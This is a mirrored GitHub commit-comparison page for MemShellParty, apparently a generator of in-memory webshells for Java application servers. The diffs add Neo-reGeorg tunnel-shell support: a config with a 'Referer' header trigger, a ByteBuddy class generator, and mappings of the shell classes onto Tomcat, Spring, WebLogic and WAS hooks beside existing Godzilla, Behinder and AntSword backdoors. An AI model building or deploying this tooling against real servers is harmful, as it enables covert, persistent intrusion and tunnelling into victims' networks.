mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
675272a04c | ||
|
|
a284cbbd02 | ||
|
|
9073a97eec | ||
|
|
de2864b892 | ||
|
|
49819156ab | ||
|
|
452e057bd1 | ||
|
|
dfd6328494 | ||
|
|
b78f5dad1c | ||
|
|
fefe25cbce | ||
|
|
30a141c8d4 | ||
|
|
c95a6da29f | ||
|
|
688de30965 | ||
|
|
b7c6303966 | ||
|
|
e6d1aeac3c | ||
|
|
4f58e13c00 | ||
|
|
a47033d051 |
@@ -21,4 +21,15 @@ if __name__ == '__main__':
|
|||||||
if not result_lines:
|
if not result_lines:
|
||||||
print("Specified version not found.", file=sys.stderr)
|
print("Specified version not found.", file=sys.stderr)
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
result_lines.append("## 更新方式\n")
|
||||||
|
result_lines.append("### Docker 部署\n")
|
||||||
|
result_lines.append("```bash\n")
|
||||||
|
result_lines.append("docker rm -f memshell-party\n\n")
|
||||||
|
result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
|
||||||
|
result_lines.append("```\n")
|
||||||
|
result_lines.append("### Jar 包启动\n")
|
||||||
|
result_lines.append("> 仅支持 JDK17 及以上版本\n")
|
||||||
|
result_lines.append("```bash\n")
|
||||||
|
result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
|
||||||
|
result_lines.append("```\n")
|
||||||
print("".join(result_lines).strip())
|
print("".join(result_lines).strip())
|
||||||
@@ -5,6 +5,20 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
||||||
|
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 简化 Valve 内存马代码
|
||||||
|
- 升级 Gradle 8.13
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
||||||
|
|
||||||
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 140 KiB |
@@ -0,0 +1,9 @@
|
|||||||
|
FROM python:3.12-slim
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
RUN pip install requests
|
||||||
|
|
||||||
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
CMD ["tail", "-f", "/dev/null"]
|
||||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 262 KiB |
@@ -0,0 +1,21 @@
|
|||||||
|
package com.reajason.javaweb.boot.config;
|
||||||
|
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
|
import org.springframework.context.annotation.Configuration;
|
||||||
|
import org.springframework.http.client.SimpleClientHttpRequestFactory;
|
||||||
|
import org.springframework.web.client.RestTemplate;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
@Configuration
|
||||||
|
public class WebConfig {
|
||||||
|
|
||||||
|
@Bean
|
||||||
|
public RestTemplate restTemplate() {
|
||||||
|
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
|
||||||
|
factory.setConnectTimeout(3000);
|
||||||
|
factory.setReadTimeout(3000);
|
||||||
|
return new RestTemplate(factory);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.Config;
|
import com.reajason.javaweb.boot.entity.Config;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@@ -29,9 +29,8 @@ public class ConfigController {
|
|||||||
if (shell == null) {
|
if (shell == null) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
ShellTool[] supportedShellTools = ShellTool.values();
|
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (ShellTool shellTool : supportedShellTools) {
|
for (ShellTool shellTool : shell.getSupportedShellTools()) {
|
||||||
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
|
|||||||
@@ -1,10 +1,20 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.entity.VersionInfo;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.core.ParameterizedTypeReference;
|
||||||
|
import org.springframework.http.HttpMethod;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
import org.springframework.web.client.RestTemplate;
|
||||||
|
import org.thymeleaf.util.StringUtils;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -16,10 +26,61 @@ import org.springframework.web.bind.annotation.RestController;
|
|||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
String version;
|
private String version;
|
||||||
|
|
||||||
|
private final RestTemplate restTemplate;
|
||||||
|
|
||||||
|
public VersionController(RestTemplate restTemplate) {
|
||||||
|
this.restTemplate = restTemplate;
|
||||||
|
}
|
||||||
|
|
||||||
@GetMapping
|
@GetMapping
|
||||||
public String version() {
|
public VersionInfo version() {
|
||||||
|
String latestVersion = getLatestGithubRelease();
|
||||||
|
return VersionInfo.builder()
|
||||||
|
.currentVersion(version)
|
||||||
|
.latestVersion(latestVersion)
|
||||||
|
.hasUpdate(!StringUtils.equals(version, latestVersion))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getLatestGithubRelease() {
|
||||||
|
try {
|
||||||
|
String latestVersion = tryFetchRelease("https://api.github.com");
|
||||||
|
if (latestVersion != null) {
|
||||||
|
return latestVersion;
|
||||||
|
}
|
||||||
|
latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
|
||||||
|
if (latestVersion != null) {
|
||||||
|
return latestVersion;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
return version;
|
return version;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private String tryFetchRelease(String baseUrl) {
|
||||||
|
String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
|
||||||
|
|
||||||
|
ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
|
||||||
|
apiUrl,
|
||||||
|
HttpMethod.GET,
|
||||||
|
null,
|
||||||
|
new ParameterizedTypeReference<>() {
|
||||||
|
}
|
||||||
|
);
|
||||||
|
if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
|
||||||
|
List<Map<String, Object>> body = response.getBody();
|
||||||
|
for (Map<String, Object> map : body) {
|
||||||
|
String targetCommitish = (String) map.get("target_commitish");
|
||||||
|
Boolean prerelease = (Boolean) map.get("prerelease");
|
||||||
|
Boolean draft = (Boolean) map.get("draft");
|
||||||
|
if ("master".equals(targetCommitish) && !prerelease && !draft) {
|
||||||
|
String tagName = (String) map.get("name");
|
||||||
|
return tagName.startsWith("v") ? tagName.substring(1) : tagName;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -57,6 +57,11 @@ public class GenerateRequest {
|
|||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
|
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.Builder;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@Builder
|
||||||
|
public class VersionInfo {
|
||||||
|
private String currentVersion;
|
||||||
|
private String latestVersion;
|
||||||
|
private boolean hasUpdate;
|
||||||
|
}
|
||||||
@@ -69,6 +69,8 @@ public class MemShellGenerator {
|
|||||||
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
||||||
case AntSword:
|
case AntSword:
|
||||||
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
||||||
|
case NeoreGeorg:
|
||||||
|
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
|
||||||
default:
|
default:
|
||||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,6 +13,10 @@ import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletIn
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
||||||
@@ -38,6 +42,8 @@ import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
|
|||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
@@ -127,8 +133,7 @@ public enum Server {
|
|||||||
/**
|
/**
|
||||||
* XXL-JOB
|
* XXL-JOB
|
||||||
*/
|
*/
|
||||||
XXLJOB(new XxlJobShell())
|
XXLJOB(new XxlJobShell());
|
||||||
;
|
|
||||||
|
|
||||||
private final AbstractShell shell;
|
private final AbstractShell shell;
|
||||||
|
|
||||||
@@ -137,34 +142,6 @@ public enum Server {
|
|||||||
}
|
}
|
||||||
|
|
||||||
static {
|
static {
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, CommandServlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
|
||||||
.addShellClass(FILTER, CommandFilter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
|
||||||
.addShellClass(LISTENER, CommandListener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
|
||||||
.addShellClass(VALVE, CommandValve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
|
||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||||
@@ -213,6 +190,50 @@ public enum Server {
|
|||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||||
|
.addShellClass(FILTER, AntSwordFilter.class)
|
||||||
|
.addShellClass(LISTENER, AntSwordListener.class)
|
||||||
|
.addShellClass(VALVE, AntSwordValve.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(VALVE, CommandValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||||
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||||
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||||
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
||||||
@@ -229,20 +250,19 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
.addShellClass(SERVLET, NeoreGeorgServlet.class)
|
||||||
.addShellClass(FILTER, AntSwordFilter.class)
|
.addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
|
||||||
.addShellClass(LISTENER, AntSwordListener.class)
|
.addShellClass(FILTER, NeoreGeorgFilter.class)
|
||||||
.addShellClass(VALVE, AntSwordValve.class)
|
.addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
.addShellClass(LISTENER, NeoreGeorgListener.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
.addShellClass(VALVE, NeoreGeorgValve.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -10,25 +10,30 @@ public enum ShellTool {
|
|||||||
*/
|
*/
|
||||||
Godzilla,
|
Godzilla,
|
||||||
|
|
||||||
/**
|
|
||||||
* 命令回显
|
|
||||||
*/
|
|
||||||
Command,
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 冰蝎
|
* 冰蝎
|
||||||
*/
|
*/
|
||||||
Behinder,
|
Behinder,
|
||||||
|
|
||||||
/**
|
|
||||||
* Suo5 隧道代理
|
|
||||||
*/
|
|
||||||
Suo5,
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 蚁剑
|
* 蚁剑
|
||||||
*/
|
*/
|
||||||
AntSword,
|
AntSword,
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 命令回显
|
||||||
|
*/
|
||||||
|
Command,
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
|
||||||
|
*/
|
||||||
|
Suo5,
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
|
||||||
|
*/
|
||||||
|
NeoreGeorg,
|
||||||
|
|
||||||
;
|
;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import lombok.*;
|
||||||
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/28
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
@SuperBuilder
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
@ToString
|
||||||
|
public class NeoreGeorgConfig extends ShellToolConfig {
|
||||||
|
@Builder.Default
|
||||||
|
private String headerName = "Referer";
|
||||||
|
@Builder.Default
|
||||||
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
}
|
||||||
+66
@@ -0,0 +1,66 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/12
|
||||||
|
*/
|
||||||
|
public class NeoreGeorgGenerator {
|
||||||
|
private final ShellConfig shellConfig;
|
||||||
|
private final NeoreGeorgConfig neoreGeorgConfig;
|
||||||
|
|
||||||
|
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
|
||||||
|
this.shellConfig = shellConfig;
|
||||||
|
this.neoreGeorgConfig = neoreGeorgConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
|
.redefine(neoreGeorgConfig.getShellClass())
|
||||||
|
.name(neoreGeorgConfig.getShellClassName())
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
|
